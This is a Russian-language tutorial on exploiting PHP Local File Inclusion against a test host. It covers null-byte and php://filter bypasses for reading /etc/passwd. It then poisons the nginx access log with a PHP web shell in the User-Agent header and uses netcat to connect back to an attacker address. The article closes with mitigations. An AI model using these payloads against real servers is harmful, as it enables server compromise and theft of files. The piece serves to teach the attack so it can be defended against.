Local File Inclusion (LFI) — это возможность использования локальных файлов сервера. Уязвимость позволяет удаленному пользователю получить доступ с помощью специально сформированного запроса к произвольным файлам на сервере, в том числе потенциально содержащим конфиденциальную информацию. Сегодня расскажем, как атакующий, используя этот недостаток, может выполнять команды на удаленном сервере.

Возникает подобная уязвимость в том случае, если при реализации веб-приложения используются небезопасные функции, например, include, позволяющие включать контент на страницу из локального файла. В нашем случае это выглядит следующим образом:



Благодаря строчке include(“$file”) в содержимое страницы будет включаться значение GET-параметра file. Теперь, используя эту уязвимость, нам будут возвращаться локальные файлы, которые мы укажем в параметре.



Статья носит информационный характер. Не нарушайте законодательство.

Обнаружение уязвимости


Как обнаружить уязвимость? Если указать в потенциально уязвимом параметре включение какого-то локального файла, например, index с любым расширением, и этот файл откроется, то однозначно можно утверждать, что параметр отвечает за подкачку файла. Сделать это можно как вручную, так и с помощью различных автоматизированных инструментов, например, сканером уязвимостей Wapiti, о котором говорилось в одной из наших статей, или специализированным инструментом LFISuite, который разработан именно под поиск и эксплуатацию LFI-уязвимостей.





Какие здесь могут быть подводные камни? Например, наличие фильтрации, которая будет подставлять в окончание строки расширение файла, например, .php. Таким образом, при попытке включения в страницу файла /etc/passwd мы получим в адресной строке file=/etc/passwd.php, а содержимое этого файла не будет отображаться на странице, так как файла не существует. Но такой фильтр можно обойти с помощью так называемого нулевого байта, который будет «отсекать» все, что будет идти после него. Дело в том, что вся адресная строка при передаче HTTP-запроса кодируется в URL-encode, и в этой кодировке нулевой байт выглядит как %00. Таким образом, строчка /etc/passwd%00.php будет преобразована в /etc/passwd. Однако стоит отметить, что данная проблема является довольно известной и исправлена в версии PHP 5.3+

Другой вариант обхода фильтрации — использование php filter. В параметре, отвечающем за включение файлов, пишем не просто путь до файла, который мы хотим включить, а путь до файла с использованием этой функции. Теперь запрос, который мы будем отправлять, имеет вид:

http://site.test.lan/index2.php?file=php://filter/convert.base64-encode/resource=/etc/passwd




И теперь на странице браузера мы увидим не содержимое файла, а его исходник в кодировке base64, который можно декодировать:





С основными моментами уязвимости LFI разобрались, и теперь понимаем, что при ее эксплуатации можно прочитать локальный файл на удаленном сервере. Но у LFI есть интересная особенность, позволяющая не просто прочитать локальные файлы, а скомпрометировать сервер.

Отравление журнала веб-сервера


Думаю, стоит сразу оговориться, что уязвимость не новая, но тем не менее она до сих встречается и может представлять серьезную угрозу для безопасности веб-сервера. При взаимодействии с веб-приложением любой наш запрос записывается в журналы веб-сервера, как правило, это файлы /var/log/nginx/access.log или /var/log/nginx/error.log если, например, используется веб-сервер Nginx, но названия конечных файлов, разумеется, могут отличаться.



Теперь, составив специальный запрос, мы создадим веб-шелл на сервере, записав его в access.log. Для этого изменим заголовок User-Agent, добавив в него <?php system($_GET[cmd]); ?>. Для отправки запроса будем использовать инструмент Burp Suite, позволяющий в режиме реального времени перехватывать и редактировать запросы. Почему использовался именно User-Agent? Как уже говорилось ранее, адресная строка кодирует информацию с помощью URL-encode, поэтому для передачи php-кода нужно использовать заголовки, а так как в access.log точно пишется User-Agent, то его и используем.



Веб-шелл записан и готов к использованию:



При обращении к журналу веб-приложения, используя LFI-уязвимость, его содержимое будет считываться, а скрипт <?php system($_GET[cmd]); ?> — выполняться, что позволит использовать переменную "cmd" для выполнения команд на сервере:

http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=ls /




В отличие от LFI, где для чтения содержимого файла необходимо указывать полный путь до него, во втором случае выполняются произвольные команды на сервере. Это значит, что помимо чтения файлов сервера мы можем получить доступ к нему. Для этого указываем в параметре cmd команду запуска Netcat для связи с сервером атакующего, то есть с нами:

http://site.test.lan/index2.php?file=/var/log/nginx/access.log&cmd=nc 192.168.0.135 4455




Рекомендации


  • регулярно проверять безопасность веб-приложения с целью предотвращения возникновения уязвимостей;
  • добавить в журнал веб-сервера строчку <?php exit(1); ?>. Данный скрипт будет предотвращать любые попытки выполнения php-кода в этом файле (не самая лучшая идея, но это работает, по крайней мере до тех пор, пока rsyslog не пересоздаст файл журнала);

  • использовать WAF, который будет блокировать вредоносный запрос, не позволяя его выполнить на веб-сервере.